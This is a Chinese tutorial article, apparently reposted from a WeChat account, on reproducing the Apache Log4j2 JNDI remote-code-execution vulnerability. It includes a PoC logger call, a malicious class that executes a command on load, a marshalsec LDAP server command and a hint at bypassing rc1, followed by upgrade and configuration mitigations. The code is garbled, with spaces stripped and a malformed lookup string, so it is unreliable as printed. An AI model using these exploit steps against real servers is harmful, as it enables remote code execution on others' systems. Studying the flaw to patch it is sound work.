1. 简介
ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
2. 漏洞概述
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
3. 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
4. 环境搭建
1、创建一个新的maven项目,并导入Log4j的依赖包
org.apache.logging.log4j log4j-core 2.14.1
漏洞利用
1、使用POC测试
importorg.apache.logging.log4j.LogManager; importorg.apache.logging.log4j.Logger; classLogTest{ publicstaticfinalLoggerlogger=LogManager.getLogger(); publicstaticvoidmain(String[]args){ logger.error("${jndi//localhost:8888/Exploit}"); } }
2、编译一恶意类Exploit.class
首先新建exp.java,然后编译为class文件
classExploit{ static{ System.err.println("Pwned"); try{ Stringcmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exceptione){ e.printStackTrace(); } } }
javacexp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit"8888
4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令
结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1,RC2版本对此异常进行了捕获。
5. 修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建议同时采用如下临时措施进行漏洞防范:
1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墙产品进行安全防护。
-
JAVA
+关注
关注
19文章
2966浏览量
104703 -
漏洞
+关注
关注
0文章
204浏览量
15366
原文标题:手把手教你复现 Log4j2 漏洞
文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论